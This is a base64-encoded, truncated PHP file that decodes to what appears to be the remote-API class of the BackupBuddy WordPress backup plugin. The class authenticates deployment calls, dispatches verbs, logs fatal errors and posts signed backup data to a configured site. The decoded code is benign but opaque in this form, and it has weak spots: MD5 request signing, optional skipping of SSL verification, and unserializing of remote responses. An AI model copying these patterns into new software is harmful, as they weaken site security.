PD9waHAKcmVxdWlyZV9vbmNlKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvY2xhc3Nlcy9jb3JlLnBocCcgKTsKCgpjbGFzcyBiYWNrdXBidWRkeV9yZW1vdGVfYXBpIHsKCQoJcHJpdmF0ZSBzdGF0aWMgJF9lcnJvcnMgPSBhcnJheSgpOwkJLy8gSG9sZCBlcnJvciBzdHJpbmdzIHRvIHJldHJpZXZlIHdpdGggZ2V0RXJyb3JzKCkuCglwcml2YXRlIHN0YXRpYyAkX2luY29taW5nUGF5bG9hZCA9ICcnOwoJCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGxvY2FsQ2FsbCggJGtleVNldCA9IGZhbHNlLCAkaW1wb3J0YnVkZHkgPSBmYWxzZSApIHsKCQlpZiAoIHRydWUgIT09ICRrZXlTZXQgKSB7CgkJCWRpZSggJzxodG1sPjQwMyBBY2Nlc3MgRGVuaWVkPC9odG1sPicgKTsKCQl9CgkJCgkJcmVnaXN0ZXJfc2h1dGRvd25fZnVuY3Rpb24oIGFycmF5KCAnYmFja3VwYnVkZHlfcmVtb3RlX2FwaScsICdzaHV0ZG93bl9mdW5jdGlvbicgKSApOwoJCQoJCWhlYWRlciggJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyApOwoJCQoJCWlmICggdHJ1ZSAhPT0gc2VsZjo6aW5pdF9pbmNvbWluZ19jYWxsKCkgKSB7CgkJCSRtZXNzYWdlID0gJ0Vycm9yICM4MDAyOiBFcnJvciB2YWxpZGF0aW5nIEFQSSBjYWxsIGF1dGhlbnRpY2l0eS4gVmVyaWZ5IHlvdSBhcmUgdXNpbmcgdGhlIGNvcnJlY3QgYWN0aXZlIEFQSSBrZXkuJzsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJG1lc3NhZ2UgKTsKCQkJc2VsZjo6X3JlcGx5KCBhcnJheSggJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICRtZXNzYWdlICkgKTsKCQl9CgkJCgkJLy8gSWYgaGVyZSB0aGVuIHZhbGlkYXRpb24gd2FzIGFsbCBnb29kLiBBUEkgY2FsbCBpcyBhdXRob3JpemVkLgoJCQoJCWlmICggdHJ1ZSAhPT0gJGltcG9ydGJ1ZGR5ICkgewoJCQkkZnVuY3Rpb25OYW1lID0gJ192ZXJiXycgLiBiYWNrdXBidWRkeV9jb3JlOjpnZXRIdHRwSGVhZGVyKCAnYmFja3VwYnVkZHktdmVyYicgKTsKCQl9IGVsc2UgewoJCQkkZnVuY3Rpb25OYW1lID0gJ192ZXJiX2ltcG9ydGJ1ZGR5XycgLiBiYWNrdXBidWRkeV9jb3JlOjpnZXRIdHRwSGVhZGVyKCAnYmFja3VwYnVkZHktdmVyYicgKTsKCQl9CgkJCgkJLy8gRG9lcyB2ZXJiIGV4aXN0PwoJCWlmICggZmFsc2UgPT09IG1ldGhvZF9leGlzdHMoICdiYWNrdXBidWRkeV9yZW1vdGVfYXBpJywgJGZ1bmN0aW9uTmFtZSApICkgewoJCQkkbWVzc2FnZSA9ICdFcnJvciAjODQzNDg5OTc0OiBVbmtub3duIHZlcmIgYCcgLiBiYWNrdXBidWRkeV9jb3JlOjpnZXRIdHRwSGVhZGVyKCAnYmFja3VwYnVkZHktdmVyYicgKSAuICdgLic7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICRtZXNzYWdlICk7CgkJCXNlbGY6Ol9yZXBseSggYXJyYXkoICdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAkbWVzc2FnZSApICk7CgkJfSBlbHNlIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQ2FsbGluZyBpbmNvbWluZyBBUEkgZnVuY3Rpb24gYCcgLiAkZnVuY3Rpb25OYW1lIC4gJ2AuJyApOwoJCQljYWxsX3VzZXJfZnVuY19hcnJheSggJ2JhY2t1cGJ1ZGR5X3JlbW90ZV9hcGk6OicgLiAkZnVuY3Rpb25OYW1lLCBhcnJheSgpICk7CgkJfQoJCQoJCS8vIENsZWFudXAKCQlzZWxmOjokX2luY29taW5nUGF5bG9hZCA9ICcnOwoKCQkvLyBmdW5jdGlvbjogdmVyYl9bVkVSQkhFUkVdCgl9CgkKCQoJCgkvKglzaHV0ZG93bl9mdW5jdGlvbigpCgkgKgkKCSAqCVVzZWQgZm9yIGNhdGNoaW5nIGZhdGFsIFBIUCBlcnJvcnMgZHVyaW5nIGJhY2t1cCB0byB3cml0ZSB0byBsb2cgZm9yIGRlYnVnZ2luZy4KCSAqCQoJICoJQHJldHVybgkJbnVsbAoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHNodXRkb3duX2Z1bmN0aW9uKCkgewoJCQoJCQoJCS8vIEdldCBlcnJvciBtZXNzYWdlLgoJCS8vIEVycm9yIHR5cGVzOiBodHRwOi8vcGhwLm5ldC9tYW51YWwvZW4vZXJyb3JmdW5jLmNvbnN0YW50cy5waHAKCQkkZSA9IGVycm9yX2dldF9sYXN0KCk7CgkJaWYgKCAkZSA9PT0gTlVMTCApIHsgLy8gTm8gZXJyb3Igb2YgYW55IGtpbmQuCgkJCXJldHVybjsKCQl9IGVsc2UgeyAvLyBTb21lIHR5cGUgb2YgZXJyb3IuCgkJCWlmICggIWlzX2FycmF5KCAkZSApIHx8ICggJGVbJ3R5cGUnXSAhPSBFX0VSUk9SICkgJiYgKCAkZVsndHlwZSddICE9IEVfVVNFUl9FUlJPUiApICkgeyAvLyBSZXR1cm4gaWYgbm90IGEgZmF0YWwgZXJyb3IuCgkJCQlyZXR1cm47CgkJCX0KCQl9CgkJCgkJCgkJLy8gQ2FsY3VsYXRlIGxvZyBkaXJlY3RvcnkuCgkJJGxvZ19kaXJlY3RvcnkgPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRMb2dEaXJlY3RvcnkoKTsKCQkkbWFpbl9maWxlID0gJGxvZ19kaXJlY3RvcnkgLiAnbG9nLScgLiBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2xvZ19zZXJpYWwnXSAuICcudHh0JzsKCQkKCQkKCQkvLyBEZXRlcm1pbmUgaWYgd3JpdGluZyB0byBhIHNlcmlhbCBsb2cuCgkJaWYgKCBwYl9iYWNrdXBidWRkeTo6JF9zdGF0dXNfc2VyaWFsICE9ICcnICkgewoJCQkkc2VyaWFsID0gcGJfYmFja3VwYnVkZHk6OiRfc3RhdHVzX3NlcmlhbDsKCQkJJHNlcmlhbF9maWxlID0gJGxvZ19kaXJlY3RvcnkgLiAnc3RhdHVzLScgLiAkc2VyaWFsIC4gJ18nIC4gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydsb2dfc2VyaWFsJ10gLiAnLnR4dCc7CgkJCSR3cml0ZV9zZXJpYWwgPSB0cnVlOwoJCX0gZWxzZSB7CgkJCSR3cml0ZV9zZXJpYWwgPSBmYWxzZTsKCQl9CgkJCgkJCgkJLy8gRm9ybWF0IGVycm9yIG1lc3NhZ2UuCgkJJGVfc3RyaW5nID0gJ1BIUF9FUlJPUiAnIC4gX18oICdFcnJvciAjMzI4OTMuIEZhdGFsIFBIUCBlcnJvciBlbmNvdW50ZXJlZDonLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKTsKCQlmb3JlYWNoKCAoYXJyYXkpJGUgYXMgJGVfbGluZV90aXRsZSA9PiAkZV9saW5lICkgewoJCQkkZV9zdHJpbmcgLj0gJGVfbGluZV90aXRsZSAuICcgPT4gJyAuICRlX2xpbmUgLiAiOyAiOwoJCX0KCQkkZV9zdHJpbmcgLj0gIi5cbiI7CgkJCgkJCgkJLy8gV3JpdGUgdG8gbG9nLgoJCUBmaWxlX3B1dF9jb250ZW50cyggJG1haW5fZmlsZSwgJGVfc3RyaW5nLCBGSUxFX0FQUEVORCApOwoJCWlmICggJHdyaXRlX3NlcmlhbCA9PT0gdHJ1ZSApIHsKCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCAkc2VyaWFsX2ZpbGUsICRlX3N0cmluZywgRklMRV9BUFBFTkQgKTsKCQl9CgkJCgkJCgl9IC8vIEVuZCBzaHV0ZG93bl9mdW5jdGlvbi4KCQoJCgkKCS8qIHJlbW90ZUNhbGwoKQoJICoKCSAqIFNlbmQgYW4gQVBJIGNhbGwgdG8gYSByZW1vdGUgc2VydmVyLgoJICogQHBhcmFtCWFycmF5IAkkcmVtb3RlQVBJCQlSZW1vdGUgQVBJIHN0YXRlIGFycmF5IGluY2x1ZGluZyBVUkwsIGV0Yy4gU3RvcmVkIGluIGRlc3RpbmF0aW9uIHNldHRpbmdzLgoJICogQHBhcmFtCXN0cmluZwkkdmVyYgkJCUFQSSB2ZXJiIHRvIGNhbGwgb24gcmVtb3RlIHNlcnZlci4KCSAqIEBwYXJhbQlhcnJheSAJJG1vcmVQYXJhbXMJCU9wdGlvbmFsOiBBZGRpdGlvbmFsIHBhcmFtZXRlcnMgdG8gYXBwZW5kIHRvIHRob3NlIHNlbnQuICBJZiBuZWVkaW5nIHRvIHNlbmQgYSBub24tc3RyaW5nIHRoaXMgc2hvdWxkIGJlIGVuY29kZWQgaW4gc29tZSBtYW5uZXIgYW5kIGRlY29kZWQgb24gcmVtb3RlLgoJICogQHBhcmFtCWludAkJJHRpbWVvdXQJCU9wdGlvbmFsOiBIb3cgbG9uZyB3ZSBleHBlY3QgdGhpcyBjYW4gbGFzdCBiZWZvcmUgYSBzZXJ2ZXIgdGltZXMgb3V0LiAgVHlwaWNhbGx5IHRoZSBtaW5pbXVtIG9mIHRoZSBsb2NhbCBhbmQgcmVtb3RlIHRpbWVvdXRzLgoJICogQHBhcmFtCXN0cmluZwkkZmlsZQkJCU9wdGlvbmFsOiBGaWxlIHdlIGFyZSBzZW5kaW5nLiBUaGlzIGlzIHBhc3NlZCBzbyB0aGF0IHZhcmlvdXMgQ1JDIGRhdGEgY2FuIGJlIGNhbGN1bGF0ZWQuCgkgKiBAcGFyYW0Jc3RyaW5nCSRmaWxlRGF0YQkJT3B0aW9uYWw6IFJhdyBmaWxlIGNvbnRlbnRzIHRvIHNlbmQgKGZvciB0aGlzIGNodW5rIGlmIHVzaW5nIGNodW5raW5nKS4gRCB1c3RpbiBCIG9sdG9uCgkgKiBAcGFyYW0JaW50CQkkc2Vla1RvCQkJT3B0aW9uYWw6IExvY2F0aW9uIHRvIGZzZWVrIHRvIGluIHRoZSBmaWxlIGZvciB3cml0aW5nLgoJICogQHBhcmFtCWJvb2wJJGlzRmlsZVRlc3QJCU9wdGlvbmFsOiBXaGVuIHRydWUgdGhlIGRlc3RpbmF0aW9uIHdpbGwgYXV0by1kZWxldGUgdGhlIGZpbGUgYWZ0ZXIgdGVzdGluZy4KCSAqIEBwYXJhbQlib29sCSRpc0ZpbGVEb25lCQlPcHRpb25hbDogUGFzcyB0cnVlIHdoZW4gdGhlIGxhc3QgY2h1bmsgKG9yIG9ubHkgY2h1bmspIG9mIHRoZSBmaWxlIGlzIGJlaW5nIHNlbnQgc28gZGVzdGluYXRpb24ga25vd3Mgbm90IHRvIGV4cGVjdCBhbnkgb3RoZXIgcGllY2VzLgoJICogQHBhcmFtCWludAkJJGZpbGVTaXplCQlPcHRpb25hbDogU2l6ZSBvZiB0aGUgZmlsZSBzZW5kaW5nLgoJICogQHBhcmFtCXN0cmluZwkkZmlsZVBhdGgJCU9wdGlvbmFsOiBSZW1vdGUgZmlsZSBwYXRoIGluIHJlbGF0aW9uIHRvIHRoZSByb290IGxvY2F0aW9uIHdoZXJlIHRoZSBmaWxlIGlzIGJlaW5nIHN0b3JlZCwgYmFzZWQgb24gZmlsZSB0eXBlIChiYXNlZCBvbiB2ZXJiKS4KCSAqIEBwYXJhbQlib29sCSRyZXR1cm5SYXcJCVdoZW4gdHJ1ZSByZXR1cm5zIGJvZHkgcmF3IHRleHQvZGF0YSByYXRoZXIgdGhhbiBkZWNvZGluZyBlbmNvZGVkIGRhdGEgZmlyc3QuCgkgKgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlbW90ZUNhbGwoICRyZW1vdGVBUEksICR2ZXJiLCAkbW9yZVBhcmFtcyA9IGFycmF5KCksICR0aW1lb3V0LCAkZmlsZXMgPSBhcnJheSgpLCAkcmV0dXJuUmF3ID0gZmFsc2UgKSB7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUHJlcGFyaW5nIHJlbW90ZSBBUEkgY2FsbCB2ZXJiIGAnIC4gJHZlcmIgLiAnYC4nICk7CgkJJG5vdyA9IHRpbWUoKTsKCQkKCQkkYm9keSA9IGFycmF5KCk7CgkJCgkJaWYgKCAhIGlzX251bWVyaWMoICR0aW1lb3V0ICkgKSB7CgkJCSR0aW1lb3V0ID0gYmFja3VwYnVkZHlfY29uc3RhbnRzOjpERVBMT1lNRU5UX1JFTU9URV9BUElfREVGQVVMVF9USU1FT1VUOwoJCX0KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdyZW1vdGVDYWxsKCkgSFRUUCB3YWl0IHRpbWVvdXQ6IGAnIC4gJHRpbWVvdXQgLiAnYCBzZWNvbmRzLicgKTsKCQkKCQkkZGVmYXVsdEZpbGUgPSBhcnJheSgKCQkJJ2ZpbGUnICAgID0+ICcnLAoJCQknc2l6ZScgICAgPT4gJycsCgkJCSdzZWVrdG8nICA9PiAnJywKCQkJJ2RvbmUnICAgID0+IGZhbHNlLAoJCQkndGVzdCcgICAgPT4gZmFsc2UsCgkJCSdlbmNvZGVkJyA9PiBmYWxzZSwKCQkJJ2RhdGFsZW4nID0+IDAsCgkJCSdkYXRhJyAgICA9PiAnJywKCQkpOwoJCQoJCS8vIEFwcGx5IGRlZmF1bHRzIGZvciBlYWNoIGZpbGUuCgkJZm9yZWFjaCggJGZpbGVzIGFzICYkZmlsZSApIHsKCQkJJGZpbGUgPSBhcnJheV9tZXJnZSggJGRlZmF1bHRGaWxlLCAkZmlsZSApOwoJCX0KCQkKCQkkYm9keVsnZmlsZXMnXSA9ICRmaWxlczsKCgkJaWYgKCAhIGlzX2FycmF5KCAkbW9yZVBhcmFtcyApICkgewoJCQllcnJvcl9sb2coICdCYWNrdXBCdWRkeSBFcnJvciAjNDg5Mzc4MzQ0NyByZW1vdGVfYXBpLnBocDsgJG1vcmVQYXJhbXMgbXVzdCBiZSBwYXNzZWQgYXMgYXJyYXkuJyApOwoJCX0KCQkkYm9keSA9IHNlcmlhbGl6ZSggYXJyYXlfbWVyZ2UoICRib2R5LCAkbW9yZVBhcmFtcyApICk7CgkJCgkJLy9wcmludF9yKCAkYXBpS2V5ICk7CgkJJHNpZ25hdHVyZSA9IG1kNSggJG5vdyAuICR2ZXJiIC4gJHJlbW90ZUFQSVsna2V5X3B1YmxpYyddIC4gJHJlbW90ZUFQSVsna2V5X3NlY3JldCddIC4gJGJvZHkgKTsKCQkKCQlpZiAoIGRlZmluZWQoICdCQUNLVVBCVUREWV9ERVYnICkgJiYgKCB0cnVlID09PSBCQUNLVVBCVUREWV9ERVYgKSApIHsKCQkJZXJyb3JfbG9nKCAnQkFDS1VQQlVERFlfREVWLXJlbW90ZSBhcGkgaHR0cCBib2R5IFNFTkQtICcgLiBwcmludF9yKCAkYm9keSwgdHJ1ZSApICk7CgkJfQoJCQoJCSRzc2x2ZXJpZnkgPSB0cnVlOwoJCWlmICggJzAnID09IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snZGVwbG95X3NzbHZlcmlmeSddICkgewoJCQkkc3NsdmVyaWZ5ID0gZmFsc2U7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1NraXBwaW5nIFNTTCBjZXJ0IHZlcmlmaWNhdGlvbiBiYXNlZCBvbiBhZHZhbmNlZCBzZXR0aW5ncy4nICk7CgkJfQoJCQoJCS8vZXJyb3JfbG9nKCAnY29ubmVjdFRvOiAnIC4gJHJlbW90ZUFQSVsnc2l0ZXVybCddICk7CgkJJHJlc3BvbnNlID0gd3BfcmVtb3RlX3Bvc3QoIHJ0cmltKCAkcmVtb3RlQVBJWydzaXRldXJsJ10sICcvJyApIC4gJy8nLCBhcnJheSgKCQkJCSdtZXRob2QnID0+ICdQT1NUJywKCQkJCSd0aW1lb3V0JyA9PiAoICR0aW1lb3V0IC0gMiApLAoJCQkJJ3JlZGlyZWN0aW9uJyA9PiAwLCAvLyBSZWRpcmVjdCB3aWxsIG5vdCB3b3JrIHNpbmNlIHdlIGFyZSBwYXNzaW5nIGhlYWRlcnMuCgkJCQknaHR0cHZlcnNpb24nID0+ICcxLjAnLAoJCQkJJ2Jsb2NraW5nJyA9PiB0cnVlLAoJCQkJJ3NzbHZlcmlmeScgPT4gJHNzbHZlcmlmeSwKCQkJCSdoZWFkZXJzJyA9PiBhcnJheSgKCQkJCQkJJ1JlZmVyZXInID0+ICRyZW1vdGVBUElbJ3NpdGV1cmwnXSAuICcvVEFDT1MnLAoJCQkJCQknQ29udGVudC1UeXBlJyA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtL01PTktFWVMnLCAvLyBiaW5hcnkKCQkJCQkJJ2JhY2t1cGJ1ZGR5LWFwaS1rZXknID0+ICRyZW1vdGVBUElbJ2tleV9wdWJsaWMnXSwKCQkJCQkJJ2JhY2t1cGJ1ZGR5LXZlcnNpb24nID0+IHBiX2JhY2t1cGJ1ZGR5OjpzZXR0aW5ncyggJ3ZlcnNpb24nICksCgkJCQkJCSdiYWNrdXBidWRkeS12ZXJiJyA9PiAkdmVyYiwKCQkJCQkJJ2JhY2t1cGJ1ZGR5LW5vdycgPT4gJG5vdywKCQkJCQkJJ2JhY2t1cGJ1ZGR5LXNpZ25hdHVyZScgPT4gJHNpZ25hdHVyZSwKCQkJCQkpLCAvLyBTZW5kaW5nIHJlZmVyZXIgaGVhZGVyIGhlbHBzIHByZXZlbnQgc2VjdXJpdHkgYmxvY2tzLgoJCQkJJ2JvZHknID0+ICRib2R5LCAvLyBJTVBPUlRBTlQ6IEFMV0FZUyBmb3Igc2VjdXJpdHkgdmVyaWZ5IHNpZ25hdHVyZSBwcmlvciB0byBldmVyIHVuc2VyaWFsaXppbmcgYW55IGluY29taW5nIGRhdGEuCgkJCQknY29va2llcycgPT4gYXJyYXkoKQoJCQkpCgkJKTsKCQkKCQlpZiAoIGlzX3dwX2Vycm9yKCAkcmVzcG9uc2UgKSApIHsKCQkJcmV0dXJuIHNlbGY6Ol9lcnJvciggJ0Vycm9yICM5MDM3OiBVbmFibGUgdG8gY29ubmVjdCB0byByZW1vdGUgc2VydmVyIG9yIHVuZXhwZWN0ZWQgcmVzcG9uc2UuIERldGFpbHM6IGAnIC4gJHJlc3BvbnNlLT5nZXRfZXJyb3JfbWVzc2FnZSgpIC4gJ2AgLSBTaXRlIFVSTDogYCcgLiAkcmVtb3RlQVBJWydzaXRldXJsJ10gLiAnYCwgSG9tZSBVUkw6IGAnIC4gJHJlbW90ZUFQSVsnaG9tZXVybCddIC4gJ2AuJyApOwoJCX0gZWxzZSB7CgkJCWlmICggdHJ1ZSA9PT0gJHJldHVyblJhdyApIHsKCQkJCXJldHVybiAkcmVzcG9uc2VbJ2JvZHknXTsKCQkJfQoJCQkvL2Vycm9yX2xvZyggJzMzMzNSZXNwb25zZTogJyAuICRyZXNwb25zZVsnYm9keSddICk7CgkJCQoJCQlpZiAoIGZhbHNlICE9PSBzdHJpcG9zKCAkcmVzcG9uc2VbJ2JvZHknXSwgJ1JlcXVlc3QgRW50aXR5IFRvbyBMYXJnZScgKSApIHsKCQkJCXJldHVybiBzZWxmOjpfZXJyb3IoICdFcnJvciAjODAwMWI6IFJlcXVlc3QgRW50aXR5IFRvbyBMYXJnZS4gVGhlIGRlc3RpbmF0aW9uIHNlcnZlciBzYXlzIHdlIHNlbnQgdG9vIG11Y2ggZGF0YS4gRWl0aGVyIGNoYW5nZSB0aGUgRGVwbG95bWVudCBBZHZhbmNlZCBTZXR0aW5nICJNYXggQ2h1bmsgU2l6ZSIgdG8gYSBsb3dlciB2YWx1ZSBvciBjaGFuZ2UgdGhlIHNlcnZlciBjb25maWd1cmF0aW9uIHRvIGFjY2VwdCBhIGxhcmdlciB2YWx1ZS4gU2VlIHRoZSBmb2xsb3dpbmcgd2VicGFnZSBmb3IgdGhlIHNlcnZlciBzb2x1dGlvbiBmb3IgQXBhY2hlLCBuZ2lueCwgb3IgSUlTOiBodHRwczovL2NyYWZ0Y21zLnN0YWNrZXhjaGFuZ2UuY29tL3F1ZXN0aW9ucy8yMzI4LzQxMy1yZXF1ZXN0LWVudGl0eS10b28tbGFyZ2UtZXJyb3Itd2l0aC11cGxvYWRpbmctYS1maWxlICAuLi4gUmV0dXJuIGRhdGE6IGAnIC4gaHRtbGVudGl0aWVzKCAkcmVzcG9uc2VbJ2JvZHknXSApIC4gJ2AuJyApOwoJCQl9CgkJCQoJCQlpZiAoIGZhbHNlID09PSAoICRyZXR1cm4gPSBAdW5zZXJpYWxpemUoICRyZXNwb25zZVsnYm9keSddICkgKSApIHsKCQkJCSRlcnJvciA9ICJFcnJvciAjODAwMTogVW5hYmxlIHRvIGRlY29kZSBEZXBsb3ltZW50IHJlc3BvbnNlLiBUaGluZ3MgdG8gY2hlY2s6IDEpIFZlcmlmeSBib3RoIHNpdGVzIGFyZSBydW5uaW5nIHRoZSBsYXRlc3QgQmFja3VwQnVkZHkgdmVyc2lvbiAodjguMS4xLjEgaW50cm9kdWNlZCBub24tYmFja3dhcmQtY29tcGF0aWJsZSBjaGFuZ2VzKS4gMikgQ2hlY2sgdGhlIHJlbW90ZSBzaXRlIEFQSSBVUkwgaXMgY29ycmVjdDogIiAuICRyZW1vdGVBUElbJ3NpdGV1cmwnXSAuICIuIDMpIElmIHlvdSBjaGFuZ2VkIHRoZSByZW1vdGUgc2l0ZSBBUEkga2V5IHlvdSBtdXN0IHVwZGF0ZSBpdCBpbnRvIHRoaXMgc2l0ZS4gNCkgTWFrZSBzdXJlIHRoZSByZW1vdGUgc2l0ZSBoYXMgdGhlIEFQSSBlbmFibGVkIGluIGl0cyB3cC1jb25maWcucGhwIGJ5IGFkZGluZyBkZWZpbmUoICdCQUNLVVBCVUREWV9BUElfRU5BQkxFJywgdHJ1ZSApOyBzb21ld2hlcmUgQUJPVkUgdGhlIGxpbmUgYFRoYXQncyBhbGwsIHN0b3AgZWRpdGluZyFgLiBWZXJiOiBgIiAuICR2ZXJiIC4gImAuIFRyb3VibGVzaG9vdGluZzogYDx0ZXh0YXJlYSBzdHlsZT0nd2lkdGg6IDEwMCU7IGhlaWdodDogNTAwcHg7JyB3cmFwPSdvZmYnPiIgLiBodG1sZW50aXRpZXMoIHByaW50X3IoICRyZXNwb25zZSwgdHJ1ZSApICkgLiAiPC90ZXh0YXJlYT5gLiI7CgkJCQkKCQkJCS8qCgkJCQlwYl9iYWNrdXBidWRkeTo6YWRkX3N0YXR1c19zZXJpYWwoICdyZW1vdGVfYXBpJyApOyAvLyBBbHNvIGxvZyBhbGwgaW5jb21pbmcgcmVtb3RlIEFQSSBjYWxscy4KCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdSRU1PVEUgRVJST1I6ICcgLiAkZXJyb3IgKTsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpyZW1vdmVfc3RhdHVzX3NlcmlhbCggJ3JlbW90ZV9hcGknICk7CgkJCQkqLwoJCQkJCgkJCQlyZXR1cm4gc2VsZjo6X2Vycm9yKCAkZXJyb3IgKTsKCQkJfSBlbHNlIHsKCQkJCWlmICggaXNzZXQoICRyZXR1cm5bJ2xvZ3MnXSApICkgewoJCQkJCS8vcGJfYmFja3VwYnVkZHk6OmFkZF9zdGF0dXNfc2VyaWFsKCAncmVtb3RlX2FwaScgKTsgLy8gQWxzbyBsb2cgYWxsIGluY29taW5nIHJlbW90ZSBBUEkgY2FsbHMuCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnKioqIEJlZ2luIEV4dGVybmFsIExvZyAoUmVtb3RlIEFQSSBDYWxsIFJlc3BvbnNlKScgKTsKCQkJCQlmb3JlYWNoKCAkcmV0dXJuWydsb2dzJ10gYXMgJGxvZyApIHsKCQkJCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJyogJyAuIHByaW50X3IoICRsb2csIHRydWUgKSApOwoJCQkJCX0KCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICcqKiogRW5kIEV4dGVybmFsIExvZyAoUmVtb3RlIEFQSSBDYWxsIFJlc3BvbnNlKScgKTsKCQkJCQkvL3BiX2JhY2t1cGJ1ZGR5OjpyZW1vdmVfc3RhdHVzX3NlcmlhbCggJ3JlbW90ZV9hcGknICk7CgkJCQl9CgkJCQkKCQkJCWlmICggISBpc3NldCggJHJldHVyblsnc3VjY2VzcyddICkgfHwgKCB0cnVlICE9PSAkcmV0dXJuWydzdWNjZXNzJ10gKSApIHsgLy8gRmFpbC4KCQkJCQkkZXJyb3IgPSAnJzsKCQkJCQlpZiAoIGlzc2V0KCAkcmV0dXJuWydlcnJvciddICkgKSB7CgkJCQkJCSRlcnJvciA9ICRyZXR1cm5bJ2Vycm9yJ107CgkJCQkJfSBlbHNlIHsKCQkJCQkJJGVycm9yID0gJ0Vycm9yICM4Mzg0Mzg3MzQ6IE5vIGVycm9yIGdpdmVuLiBGdWxsIHJlc3BvbnNlOiAiJyAuICRyZXR1cm4gLiAnIi4nOwoJCQkJCX0KCQkJCQlyZXR1cm4gc2VsZjo6X2Vycm9yKCAiRXJyb3IgIzMyODkzNzk6IEFQSSBkaWQgbm90IHJlcG9ydCBzdWNjZXNzLiBFcnJvciBkZXRhaWxzOiBgIiAuICRlcnJvciAuICJgLiBUcm91Ymxlc2hvb3Rpbmc6IGA8dGV4dGFyZWEgc3R5bGU9J3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDUwMHB4Oycgd3JhcD0nb2ZmJz4iIC4gaHRtbGVudGl0aWVzKCBwcmludF9yKCAkcmVzcG9uc2UsIHRydWUgKSApIC4gIjwvdGV4dGFyZWE+YC4iICk7CgkJCQl9IGVsc2UgeyAvLyBTdWNjZXNzLgoJCQkJCWlmICggaXNzZXQoICRyZXR1cm5bJ21lc3NhZ2UnXSApICkgewoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdSZXNwb25zZSBtZXNzYWdlIGZyb20gQVBJOiAnIC4gJHJldHVyblsnbWVzc2FnZSddIC4gJyIuJyApOwoJCQkJCX0KCQkJCQlyZXR1cm4gJHJldHVybjsKCQkJCX0KCQkJfQoJCX0KCX0gLy8gRW5kIHJlbW90ZUNhbGwoKS4KCQoJCglwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBfcmVwbHkoICRyZXNwb25zZV9hcnIgKSB7CgkJJHJlc3BvbnNlX2FyclsnbG9ncyddID0gcGJfYmFja3VwYnVkZHk6OmdldF9zdGF0dXMoICdyZW1vdGVfYXBpJywgdHJ1ZSwgdHJ1ZSwgdHJ1ZSApOyAvLyBBcnJheSBvZiBzdGF0dXMgbG9ncy4KCQkKCQkvL2Vycm9yX2xvZyggJ1JFU1BPTlNFOicgKTsKCQkvL2Vycm9yX2xvZyggcHJpbnRfciggJHJlc3BvbnNlX2FyciwgdHJ1ZSApICk7CgkJCgkJZGllKCBzZXJpYWxpemUoICRyZXNwb25zZV9hcnIgKSApOwoJfQoJCgkKCS8qIF92ZXJiX3J1bkJhY2t1cCgpCgkgKgoJICogUnVuIGEgYmFja3VwIHdpdGggYSBzcGVjaWZpZWQgY3VzdG9tIHByb2ZpbGU7IGVnIGEgZGIgYmFja3VwIGZvciBwdWxsaW5nIGRlcGxveW1lbnQuCgkgKiBQYXJhbXM6IFBPU1QgInByb2ZpbGUiIC0gQmFzZTY0IGVuY29kZWQganNvbiBlbmNvZGVkIHByb2ZpbGUgYXJyYXkuCgkgKgoJICovCglwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBfdmVyYl9ydW5CYWNrdXAoKSB7CgkJJGJhY2t1cFNlcmlhbCA9IHBiX2JhY2t1cGJ1ZGR5OjpyYW5kb21fc3RyaW5nKCAxMCApOwoJCSRwcm9maWxlQXJyYXkgPSBzZWxmOjokX2luY29taW5nUGF5bG9hZFsgJ3Byb2ZpbGUnIF07CgkJaWYgKCBmYWxzZSA9PT0gKCAkcHJvZmlsZUFycmF5ID0gYmFzZTY0X2RlY29kZSggJHByb2ZpbGVBcnJheSApICkgKSB7CgkJCSRtZXNzYWdlID0gJ0Vycm9yICM4MzQzNzI4OiBVbmFibGUgdG8gYmFzZTY0IGRlY29kZSBwcm9maWxlIGRhdGEuJzsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJG1lc3NhZ2UsICRiYWNrdXBTZXJpYWwgKTsKCQkJc2VsZjo6X3JlcGx5KCBhcnJheSggJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICRtZXNzYWdlICkgKTsKCQl9CgkJaWYgKCBOVUxMID09PSAoICRwcm9maWxlQXJyYXkgPSBqc29uX2RlY29kZSggJHByb2ZpbGVBcnJheSwgdHJ1ZSApICkgKSB7CgkJCSRtZXNzYWdlID0gJ0Vycm9yICMzMjcyMzgzOiBVbmFibGUgdG8ganNvbi